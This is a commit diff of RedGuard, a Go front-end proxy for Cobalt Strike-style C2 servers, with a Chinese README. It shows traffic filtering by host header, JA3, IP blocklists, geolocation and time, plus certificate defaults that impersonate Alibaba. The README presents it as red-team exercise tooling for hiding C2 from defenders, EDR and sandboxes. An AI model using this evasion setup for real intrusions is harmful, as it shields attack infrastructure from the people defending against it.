flag.StringVar(&cert.CommonName, "common", `*.aliyun.com`, `Cert CommonName`) flag.StringVar(&cert.CommonName, "common", `*.aliyun.com`, `Cert CommonName`)
flag.StringVar(&cert.Organization, "organization", `Alibaba (China) Technology Co., Ltd.`, `Cert Organization`) flag.StringVar(&cert.Organization, "organization", `Alibaba (China) Technology Co., Ltd.`, `Cert Organization`)
flag.StringVar(&cert.HasCert, "HasCert", `true`, `Whether to use the certificate you have applied for`) flag.StringVar(&cert.HasCert, "HasCert", `true`, `Whether to use the certificate you have applied for`)
flag.StringVar(&cert.DNSNameTo, "dns", `*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com`, `Cert DNSName`) flag.StringVar(&cert.DNSNameTo, "dns", `*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com`, `Cert DNSName`)
flag.StringVar(&cert.Locality, "locality", `HangZhou`, `Cert Locality`) flag.StringVar(&cert.Locality, "locality", `HangZhou`, `Cert Locality`)
flag.StringVar(&proxy.HostTarget, "host", `{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}`, `Set Proxy HostTarget`) flag.StringVar(&proxy.HostTarget, "host", `{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}`, `Set Proxy HostTarget`)
flag.StringVar(&proxy.HTTPSPort, "https", `:443`, `Set Proxy HTTPS Port`) flag.StringVar(&proxy.HTTPSPort, "https", `:443`, `Set Proxy HTTPS Port`)
flag.StringVar(&proxy.HTTPort, "http", `:80`, `Set Proxy HTTP Port`) flag.StringVar(&proxy.HTTPort, "http", `:80`, `Set Proxy HTTP Port`)
flag.StringVar(&proxy.DropAction, "DropAction", "redirect", `RedGuard interception action`) flag.StringVar(&proxy.DropAction, "DropAction", "redirect", `RedGuard interception action`)
flag.StringVar(&proxy.Redirect, "redirect", `https://360.net`, `Proxy redirect URL`) flag.StringVar(&proxy.Redirect, "redirect", `https://360.net`, `Proxy redirect URL`)
flag.StringVar(&proxy.AllowLocation, "allowLocation", "*", "Proxy Requests Allow Location") flag.StringVar(&proxy.AllowLocation, "allowLocation", "*", "Proxy Requests Allow Location")
flag.StringVar(&proxy.AllowIP, "allowIP", "*", "Proxy Requests Allow IP") flag.StringVar(&proxy.AllowIP, "allowIP", "*", "Proxy Requests Allow IP")
flag.StringVar(&proxy.AllowTime, "allowTime", "*", "Proxy Requests Allow Time") flag.StringVar(&proxy.AllowTime, "allowTime", "*", "Proxy Requests Allow Time")
flag.StringVar(&proxy.MalleableFile, "malleable", "*", "Set Proxy Requests Filter Malleable File") flag.StringVar(&proxy.MalleableFile, "malleable", "*", "Set Proxy Requests Filter Malleable File")
flag.Parse() flag.Parse()
} }
+92 -92
View File
@@ -1,92 +1,92 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: ipLookUp.go * @File: ipLookUp.go
* @Time: 2022/5/5 9:13 * @Time: 2022/5/5 9:13
**/ **/
package core package core
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"fmt" "fmt"
"regexp" "regexp"
"strings" "strings"
"RedGuard/lib" "RedGuard/lib"
"github.com/tidwall/gjson" "github.com/tidwall/gjson"
) )
// IPLookup IP origin,API is defined to extract relevant information // IPLookup IP origin,API is defined to extract relevant information
type ipLookup struct { type ipLookup struct {
allowStatus int // API http request status code allowStatus int // API http request status code
hasCount int // Check if the first character of location is in English hasCount int // Check if the first character of location is in English
body string // Get THE API response body JSON data body string // Get THE API response body JSON data
Tag string // The json data Tag Tag string // The json data Tag
location string // Restrict the geographical location of the online location string // Restrict the geographical location of the online
} }
var ( var (
_apiUrl = []string{ _apiUrl = []string{
// Chinese Users IP API // Chinese Users IP API
"https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=%s&co=&resource_id=6006", "https://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=%s&co=&resource_id=6006",
// IP API for users in other countries // IP API for users in other countries
"https://ipapi.co/%s/json/", "https://ipapi.co/%s/json/",
} }
logger = lib.Logger() // logger output model logger = lib.Logger() // logger output model
) )
// IPLookUp returns true if Check whether the IP address is the same as the owning place // IPLookUp returns true if Check whether the IP address is the same as the owning place
// @param ip string Specify IP address // @param ip string Specify IP address
// @param location string Specify location // @param location string Specify location
// NOTE: other countries Server You are advised to set location to English // NOTE: other countries Server You are advised to set location to English
// This will prioritize IP API that are more efficient for you // This will prioritize IP API that are more efficient for you
func IPLookUp(location, ip string) (state bool) { func IPLookUp(location, ip string) (state bool) {
var IPLook ipLookup var IPLook ipLookup
for _, url := range _apiUrl { for _, url := range _apiUrl {
// Check preferentially invoked // Check preferentially invoked
if IPLook.hasCount != 1 { if IPLook.hasCount != 1 {
// Check that the first character of location is in English // Check that the first character of location is in English
if regexp.MustCompile("[a-zA-Z]").MatchString(location[0:1]) { if regexp.MustCompile("[a-zA-Z]").MatchString(location[0:1]) {
// Other countries IP API are preferentially invoked if conditions are met // Other countries IP API are preferentially invoked if conditions are met
url, IPLook.hasCount = _apiUrl[1], 1 url, IPLook.hasCount = _apiUrl[1], 1
} }
} else { } else {
url = _apiUrl[0] // preferentially invoked Chinese Users IP API url = _apiUrl[0] // preferentially invoked Chinese Users IP API
} }
// Get json data for the IP API response body // Get json data for the IP API response body
IPLook.allowStatus, IPLook.body = lib.HTTPRequest(fmt.Sprintf(url, ip)) IPLook.allowStatus, IPLook.body = lib.HTTPRequest(fmt.Sprintf(url, ip))
if IPLook.allowStatus == 200 { if IPLook.allowStatus == 200 {
// Select the response JSON tag when json data is available // Select the response JSON tag when json data is available
if url == _apiUrl[0] { if url == _apiUrl[0] {
IPLook.Tag = `data.#.location` // Chinese Users IP API Tag IPLook.Tag = `data.#.location` // Chinese Users IP API Tag
break break
} }
IPLook.Tag = `city` IPLook.Tag = `city`
IPLook.location += gjson.Get(IPLook.body, `region`).String() IPLook.location += gjson.Get(IPLook.body, `region`).String()
break break
} }
} }
// Check for valid JSON data // Check for valid JSON data
if gjson.Valid(IPLook.body) { if gjson.Valid(IPLook.body) {
// Extracting JSON data // Extracting JSON data
result := gjson.Get(IPLook.body, IPLook.Tag) result := gjson.Get(IPLook.body, IPLook.Tag)
if result.Exists() { if result.Exists() {
for _, name := range result.Array() { for _, name := range result.Array() {
IPLook.location += name.String() IPLook.location += name.String()
} }
var prettyJSON bytes.Buffer var prettyJSON bytes.Buffer
// Format output JSON data // Format output JSON data
_ = json.Indent(&prettyJSON, []byte(IPLook.body), "", "\t") _ = json.Indent(&prettyJSON, []byte(IPLook.body), "", "\t")
logger.Emergency(string(prettyJSON.Bytes())) logger.Emergency(string(prettyJSON.Bytes()))
// Check whether the IP address is the same as the specified location // Check whether the IP address is the same as the specified location
if strings.Contains(strings.ToLower(IPLook.location), strings.ToLower(location)) { if strings.Contains(strings.ToLower(IPLook.location), strings.ToLower(location)) {
return true // The query result is true return true // The query result is true
} }
} }
} }
return false return false
} }
+45 -45
View File
@@ -1,45 +1,45 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: options.go * @File: options.go
* @Time: 2022/5/5 9:44 * @Time: 2022/5/5 9:44
**/ **/
package parameter package parameter
type Parses struct { type Parses struct {
Update bool Update bool
IP string IP string
C2Type string C2Type string
Location string Location string
ConfigPath string ConfigPath string
} }
type Cert struct { type Cert struct {
Country string Country string
CommonName string CommonName string
Locality string Locality string
Organization string Organization string
DNSNameTo string DNSNameTo string
HasCert string HasCert string
DNSName []string DNSName []string
} }
type Proxy struct { type Proxy struct {
HostTarget string HostTarget string
HTTPSPort string HTTPSPort string
HTTPort string HTTPort string
DropAction string DropAction string
Redirect string Redirect string
AllowLocation string AllowLocation string
AllowIP string AllowIP string
AllowTime string AllowTime string
MalleableFile string MalleableFile string
} }
// ProxyConf Reverse proxy configuration structure // ProxyConf Reverse proxy configuration structure
type ProxyConf struct { type ProxyConf struct {
Port string Port string
Action string Action string
Pattern string Pattern string
} }
+20445 -20445
View File
File diff suppressed because it is too large Load Diff
+10
View File
@@ -0,0 +1,10 @@
/**
* @Author 风起
* @contact: onlyzaliks@gmail.com
* @File: banned_ja3.go
* @Time: 2022/7/4 14:25
**/
package data
var BANJA3 = `55826aa9288246f7fcafab38353ba734`
+380 -380
View File
@@ -1,380 +1,380 @@
<h1 align="center">RedGuard - Excellent C2 Front Flow Control tool</h1> <h1 align="center">RedGuard - Excellent C2 Front Flow Control tool</h1>
[![GitHub stars](https://img.shields.io/github/stars/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu) [![GitHub issues](https://img.shields.io/github/issues/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu/issues) [![GitHub release](https://img.shields.io/github/release/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu/releases) [![](https://img.shields.io/badge/author-风起-blueviolet)](https://github.com/wikiZ) [![GitHub stars](https://img.shields.io/github/stars/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu) [![GitHub issues](https://img.shields.io/github/issues/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu/issues) [![GitHub release](https://img.shields.io/github/release/wikiZ/RedGuard)](https://github.com/knownsec/Kunyu/releases) [![](https://img.shields.io/badge/author-风起-blueviolet)](https://github.com/wikiZ)
中文文档 | [English](https://github.com/wikiZ/RedGuard/blob/main/README.md) 中文文档 | [English](https://github.com/wikiZ/RedGuard/blob/main/README.md)
![1653117445(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/42d448a4cd030c05bacb8bde759b5d8.png) ![1653117445(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/42d448a4cd030c05bacb8bde759b5d8.png)
# 0x00 介绍 # 0x00 介绍
## 工具介绍 ## 工具介绍
RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。 RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。
RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。 RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
## 应用场景 ## 应用场景
- 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源 - 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
- 根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析 - 根据JA3指纹库识别防范云沙箱环境下针对木马样本的恶意分析
- 阻止恶意的请求来实施重放攻击,实现混淆上线的效果 - 阻止恶意的请求来实施重放攻击,实现混淆上线的效果
- 在明确上线服务器IP的情况下,以白名单的方式限制访问交互流量的请求 - 在明确上线服务器IP的情况下,以白名单的方式限制访问交互流量的请求
- 防范网络空间测绘技术针对C2设施的扫描识别,并重定向或拦截扫描探针的流量 - 防范网络空间测绘技术针对C2设施的扫描识别,并重定向或拦截扫描探针的流量
- 支持对多个C2服务器的前置流量控制,并可实现域前置的效果实现负载均衡上线,达到隐匿的效果 - 支持对多个C2服务器的前置流量控制,并可实现域前置的效果实现负载均衡上线,达到隐匿的效果
- 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制 - 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
- 在不更改源码的情况下,解决分阶段checksum8规则路径解析存在的强特征。 - 在不更改源码的情况下,解决分阶段checksum8规则路径解析存在的强特征。
- 通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题 - 通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题
- 具有自定义对样本合法交互的时间段进行设置,实现仅在工作时间段内进行流量交互的功能 - 具有自定义对样本合法交互的时间段进行设置,实现仅在工作时间段内进行流量交互的功能
- Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求,并在违规情况下丢弃外发数据包(支持Malleable Profiles 4.0+ - Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求,并在违规情况下丢弃外发数据包(支持Malleable Profiles 4.0+
- 内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单,实现自动拦截重定向请求流量 - 内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单,实现自动拦截重定向请求流量
- 可通过自定义工具与样本交互的SSL证书信息、重定向URL,以规避工具流量的固定特征 - 可通过自定义工具与样本交互的SSL证书信息、重定向URL,以规避工具流量的固定特征
- .......... - ..........
# 0x01 安装 # 0x01 安装
可以直接下载并使用已经编译好的版本,也可以远程下载go包进行自主编译执行。 可以直接下载并使用已经编译好的版本,也可以远程下载go包进行自主编译执行。
```bash ```bash
git clone https://github.com/wikiZ/RedGuard.git git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard cd RedGuard
# 也可以使用upx压缩编译后的文件体积 # 也可以使用upx压缩编译后的文件体积
go build -ldflags "-s -w" -trimpath go build -ldflags "-s -w" -trimpath
# 赋予工具可执行权限,并进行初始化操作 # 赋予工具可执行权限,并进行初始化操作
chmod +x ./RedGuard&&./RedGuard chmod +x ./RedGuard&&./RedGuard
``` ```
# 0x02 配置说明 # 0x02 配置说明
## 初始化 ## 初始化
如下图,首先对RedGuard赋予可执行权限并进行初始化操作,第一次运行会在当前用户目录下生成配置文件,以实现灵活的功能配置,**配置文件名:.RedGuard_CobaltStrike.ini**。 如下图,首先对RedGuard赋予可执行权限并进行初始化操作,第一次运行会在当前用户目录下生成配置文件,以实现灵活的功能配置,**配置文件名:.RedGuard_CobaltStrike.ini**。
![1653117707(1).png](https://raw.githubusercontent.com/wikiZ/RedGuardImage/main/1656308555577.jpg) ![1653117707(1).png](https://raw.githubusercontent.com/wikiZ/RedGuardImage/main/1656308555577.jpg)
**配置文件内容:** **配置文件内容:**
![1653117707(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310498272.png) ![1653117707(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310498272.png)
cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息,proxy主要用于配置反向代理流量中的控制选项,具体使用会在下面进行详细讲解。 cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息,proxy主要用于配置反向代理流量中的控制选项,具体使用会在下面进行详细讲解。
在流量的交互中使用的SSL证书会生成在RedGuard执行所在目录下的cert-rsa/目录下,可以通过修改配置文件进行工具的基础功能启停**(证书的序列号是根据时间戳生成的,不用担心被以此关联特征)**。如果你想要使用自己的证书,只需要重命名为ca.crt和ca.key覆盖在cert-rsa/目录下即可。 在流量的交互中使用的SSL证书会生成在RedGuard执行所在目录下的cert-rsa/目录下,可以通过修改配置文件进行工具的基础功能启停**(证书的序列号是根据时间戳生成的,不用担心被以此关联特征)**。如果你想要使用自己的证书,只需要重命名为ca.crt和ca.key覆盖在cert-rsa/目录下即可。
```bash ```bash
openssl x509 -in ca.crt -noout -text openssl x509 -in ca.crt -noout -text
``` ```
![1653118330(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656308972417.jpg) ![1653118330(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656308972417.jpg)
每次启动RedGuard都会更新随机TLS JARM指纹,防止被以此佐证C2设施。 每次启动RedGuard都会更新随机TLS JARM指纹,防止被以此佐证C2设施。
![1653118330(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/d2d8d30fcd349bd4567c685aaa93451.jpg) ![1653118330(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/d2d8d30fcd349bd4567c685aaa93451.jpg)
在使用自己证书的情况下,到配置文件中修改HasCert参数为true,防止因为JARM混淆随机化导致的CipherSuites加密套件与自定义证书不兼容导致的无法正常通信问题。 在使用自己证书的情况下,到配置文件中修改HasCert参数为true,防止因为JARM混淆随机化导致的CipherSuites加密套件与自定义证书不兼容导致的无法正常通信问题。
```bash ```bash
# Whether to use the certificate you have applied for true/false # Whether to use the certificate you have applied for true/false
HasCert = false HasCert = false
``` ```
## RedGuard Usage ## RedGuard Usage
```bash ```bash
root@VM-4-13-ubuntu:~# ./RedGuard -h root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: Usage of ./RedGuard:
-DropAction string -DropAction string
RedGuard interception action (default "redirect") RedGuard interception action (default "redirect")
-HasCert string -HasCert string
Whether to use the certificate you have applied for (default "false") Whether to use the certificate you have applied for (default "false")
-allowIP string -allowIP string
Proxy Requests Allow IP (default "*") Proxy Requests Allow IP (default "*")
-allowLocation string -allowLocation string
Proxy Requests Allow Location (default "*") Proxy Requests Allow Location (default "*")
-allowTime string -allowTime string
Proxy Requests Allow Time (default "*") Proxy Requests Allow Time (default "*")
-common string -common string
Cert CommonName (default "*.aliyun.com") Cert CommonName (default "*.aliyun.com")
-country string -country string
Cert Country (default "CN") Cert Country (default "CN")
-dns string -dns string
Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com") Cert DNSName (default "*.aliyun.com,manager.channel.aliyun.com,*.acs-internal.aliyuncs.com\",*.connect.aliyun.com,aliyun.com,whois.www.net.cn,tianchi-global.com")
-host string -host string
Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}") Set Proxy HostTarget (default "{\"360.net\":\"http://127.0.0.1:8080\",\"360.com\":\"https://127.0.0.1:4433\"}")
-http string -http string
Set Proxy HTTP Port (default ":80") Set Proxy HTTP Port (default ":80")
-https string -https string
Set Proxy HTTPS Port (default ":443") Set Proxy HTTPS Port (default ":443")
-ip string -ip string
IPLookUP IP IPLookUP IP
-locality string -locality string
Cert Locality (default "HangZhou") Cert Locality (default "HangZhou")
-location string -location string
IPLookUP Location (default "风起") IPLookUP Location (default "风起")
-malleable string -malleable string
Set Proxy Requests Filter Malleable File (default "*") Set Proxy Requests Filter Malleable File (default "*")
-organization string -organization string
Cert Organization (default "Alibaba (China) Technology Co., Ltd.") Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
-redirect string -redirect string
Proxy redirect URL (default "https://360.net") Proxy redirect URL (default "https://360.net")
-type string -type string
C2 Server Type (default "CobaltStrike") C2 Server Type (default "CobaltStrike")
-u Enable configuration file modification -u Enable configuration file modification
``` ```
**P.S. 可以使用参数命令的方式修改配置文件,当然我觉得可能直接vim手动修改更方便。** **P.S. 可以使用参数命令的方式修改配置文件,当然我觉得可能直接vim手动修改更方便。**
# 0x03 工具使用 # 0x03 工具使用
## 基础拦截 ## 基础拦截
如果直接对反向代理的端口进行访问,则会触发拦截规则,这里通过输出的日志可以看到客户端请求根目录,但是因为其请求过程未带有请求的凭证,也就是正确的HOST请求头所以触发了基础拦截的规则,流量被重定向到了https://360.net 如果直接对反向代理的端口进行访问,则会触发拦截规则,这里通过输出的日志可以看到客户端请求根目录,但是因为其请求过程未带有请求的凭证,也就是正确的HOST请求头所以触发了基础拦截的规则,流量被重定向到了https://360.net
这里为了方便展示输出效果,实际使用可以通过`nohup ./RedGuard &`后台运行。 这里为了方便展示输出效果,实际使用可以通过`nohup ./RedGuard &`后台运行。
![1653130661(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656309416534.png) ![1653130661(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656309416534.png)
```bash ```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"} {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
``` ```
从上面的slice不难看出,360.net对应了代理到本地8080端口,360.com指向了本地的4433端口,且对应了使用的HTTP协议的不同,在后续上线中,需要注意监听器的协议类型需要和这里设置的保持一致,并设置对应HOST请求头。 从上面的slice不难看出,360.net对应了代理到本地8080端口,360.com指向了本地的4433端口,且对应了使用的HTTP协议的不同,在后续上线中,需要注意监听器的协议类型需要和这里设置的保持一致,并设置对应HOST请求头。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656309543334.jpg) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656309543334.jpg)
如上图,在未授权情况下,我们得到的响应信息也是重定向的站点返回信息。 如上图,在未授权情况下,我们得到的响应信息也是重定向的站点返回信息。
## 拦截方式 ## 拦截方式
上述的基础拦截案例中,使用的是默认的拦截方式,也就是将非法流量以重定向的方式拦截,而通过配置文件的修改,我们可以更改拦截的方式,以及重定向的站点URL,其实这种方式与之说是重定向,描述为劫持、克隆或许更贴切,因为返回的响应状态码为200,是从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。 上述的基础拦截案例中,使用的是默认的拦截方式,也就是将非法流量以重定向的方式拦截,而通过配置文件的修改,我们可以更改拦截的方式,以及重定向的站点URL,其实这种方式与之说是重定向,描述为劫持、克隆或许更贴切,因为返回的响应状态码为200,是从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
无效数据包可能会根据三种策略被错误路由: 无效数据包可能会根据三种策略被错误路由:
- **reset**:立即终止 TCP 连接。 - **reset**:立即终止 TCP 连接。
- **proxy**:从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。 - **proxy**:从另一个网站获取响应,以尽可能接近地模仿克隆/劫持的网站。
- **redirect**:重定向到指定网站返回HTTP状态码302,对重定向的网站无要求。 - **redirect**:重定向到指定网站返回HTTP状态码302,对重定向的网站无要求。
```bash ```bash
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response) # RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy drop_action = proxy
# URL to redirect to # URL to redirect to
Redirect = https://360.net Redirect = https://360.net
``` ```
配置文件中 **Redirect = URL** 指向的就是劫持的URL地址,RedGuard支持“热更改”,也就是说在工具通过nohup这种方式在后台运行的过程中,我们依旧可以通过修改配置文件的内容进行实时的功能启停。 配置文件中 **Redirect = URL** 指向的就是劫持的URL地址,RedGuard支持“热更改”,也就是说在工具通过nohup这种方式在后台运行的过程中,我们依旧可以通过修改配置文件的内容进行实时的功能启停。
```bash ```bash
./RedGuard -u --drop true ./RedGuard -u --drop true
``` ```
注意,通过命令行修改配置文件的时候。-u选项不要少,否则无法对配置文件修改成功,如果需要还原默认配置文件设置只需要输入 `./RedGuard -u` 即可。 注意,通过命令行修改配置文件的时候。-u选项不要少,否则无法对配置文件修改成功,如果需要还原默认配置文件设置只需要输入 `./RedGuard -u` 即可。
而另一种拦截方式就是DROP,直接Close HTTP通信响应,通过设置 **DROP = true** 启用,具体拦截效果如下图: 而另一种拦截方式就是DROP,直接Close HTTP通信响应,通过设置 **DROP = true** 启用,具体拦截效果如下图:
![1653132755(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310664285.jpg) ![1653132755(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310664285.jpg)
可以看到,没有获取到HTTP响应码,C2前置流量控制对非法请求直接close响应,在网络空间测绘的探测中,DROP的方式可以实现隐藏端口开放情况的作用,具体效果可以看下面的案例分析。 可以看到,没有获取到HTTP响应码,C2前置流量控制对非法请求直接close响应,在网络空间测绘的探测中,DROP的方式可以实现隐藏端口开放情况的作用,具体效果可以看下面的案例分析。
## 代理端口修改 ## 代理端口修改
这里其实就很好理解了,对配置文件中以下两个参数的配置实现更改反向代理端口的效果,这里建议在不与当前服务器端口冲突的前提下,使用默认的端口隐匿性会更好,如果一定要修改,那么注意参数值的 **:** 不要缺少 这里其实就很好理解了,对配置文件中以下两个参数的配置实现更改反向代理端口的效果,这里建议在不与当前服务器端口冲突的前提下,使用默认的端口隐匿性会更好,如果一定要修改,那么注意参数值的 **:** 不要缺少
```bash ```bash
# HTTPS Reverse proxy port # HTTPS Reverse proxy port
Port_HTTPS = :443 Port_HTTPS = :443
# HTTP Reverse proxy port # HTTP Reverse proxy port
Port_HTTP = :80 Port_HTTP = :80
``` ```
## RedGuard日志 ## RedGuard日志
通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题,日志文件生成在运行RedGuard所在目录下,**文件名:RedGuard.log**。 通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题,日志文件生成在运行RedGuard所在目录下,**文件名:RedGuard.log**。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310909975.jpg) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656310909975.jpg)
## RedGuard获取真实IP地址 ## RedGuard获取真实IP地址
针对于日常、域前置场景下获取真实请求IP,RG无需进行任何配置,仅需对启动C2设施的profile文件增加以下配置,即通过请求头X-Forwarded-For获取目标真实IP。 针对于日常、域前置场景下获取真实请求IP,RG无需进行任何配置,仅需对启动C2设施的profile文件增加以下配置,即通过请求头X-Forwarded-For获取目标真实IP。
```bash ```bash
http-config { http-config {
set trust_x_forwarded_for "true"; set trust_x_forwarded_for "true";
} }
``` ```
## 请求地域限制 ## 请求地域限制
配置方式以AllowLocation = 济南,北京 为例,这里值得注意的是,RedGuard提供了两个IP归属地反查的API,一个适用于国内用户,另一个适用于海外用户,并且可以根据输入的地域名动态的分配使用哪个API,如果目标是中国的那么设置的地域就输入中文,反之输入英文地名,建议国内的用户使用中文名即可,这样反查到的归属地准确度以及API的响应速度都是最好的选择。 配置方式以AllowLocation = 济南,北京 为例,这里值得注意的是,RedGuard提供了两个IP归属地反查的API,一个适用于国内用户,另一个适用于海外用户,并且可以根据输入的地域名动态的分配使用哪个API,如果目标是中国的那么设置的地域就输入中文,反之输入英文地名,建议国内的用户使用中文名即可,这样反查到的归属地准确度以及API的响应速度都是最好的选择。
P.S. 国内用户,不要使用**AllowLocation = 济南,beijing**这种方式!没啥意义,参数值的首个字符决定使用哪个API! P.S. 国内用户,不要使用**AllowLocation = 济南,beijing**这种方式!没啥意义,参数值的首个字符决定使用哪个API!
```bash ```bash
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing # IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
AllowLocation = * AllowLocation = *
``` ```
![1653134160(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311033506.jpg) ![1653134160(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311033506.jpg)
决定限制地域之前,可以通过以下命令手动查询IP地址归属地。 决定限制地域之前,可以通过以下命令手动查询IP地址归属地。
```bash ```bash
./RedGuard --ip 111.14.218.206 ./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查询归属地 ./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查询归属地
``` ```
这里我们设置仅允许山东地域上线 这里我们设置仅允许山东地域上线
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521200158-d0d34d6c-d8fd-1.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521200158-d0d34d6c-d8fd-1.png)
**合法流量:** **合法流量:**
![1653137496(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521205147-c6bb200a-d904-1.png) ![1653137496(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521205147-c6bb200a-d904-1.png)
**非法请求地域:** **非法请求地域:**
![1653137621(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521205347-0dbc1efa-d905-1.png) ![1653137621(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220521205347-0dbc1efa-d905-1.png)
关于地域限制的上线,在目前的攻防演练可能比较实用,基本上省市级的护网限制的目标都是在指定区域中,而对于其他地域请求的流量自然可以忽略不计,而RedGuard这一功能不仅仅可以限制单一地域也可以根据省、市限制多个上线地域,而对其他地域请求的流量进行拦截。 关于地域限制的上线,在目前的攻防演练可能比较实用,基本上省市级的护网限制的目标都是在指定区域中,而对于其他地域请求的流量自然可以忽略不计,而RedGuard这一功能不仅仅可以限制单一地域也可以根据省、市限制多个上线地域,而对其他地域请求的流量进行拦截。
## 基于白名单拦截 ## 基于白名单拦截
除了RedGuard内置的安全厂商IP的黑名单,我们还可以依据白名单的方式进行限制,其实我也是建议在web打点的时候,我们可以根据白名单限制上线的IP的地址,以,分割多个IP地址的方式。 除了RedGuard内置的安全厂商IP的黑名单,我们还可以依据白名单的方式进行限制,其实我也是建议在web打点的时候,我们可以根据白名单限制上线的IP的地址,以,分割多个IP地址的方式。
```bash ```bash
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1 # Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1 AllowIP = 127.0.0.1
``` ```
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311197849.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311197849.png)
如上图,我们限制仅允许127.0.0.1上线,那么其他IP的请求流量就会被拦截。 如上图,我们限制仅允许127.0.0.1上线,那么其他IP的请求流量就会被拦截。
## 基于时间段拦截 ## 基于时间段拦截
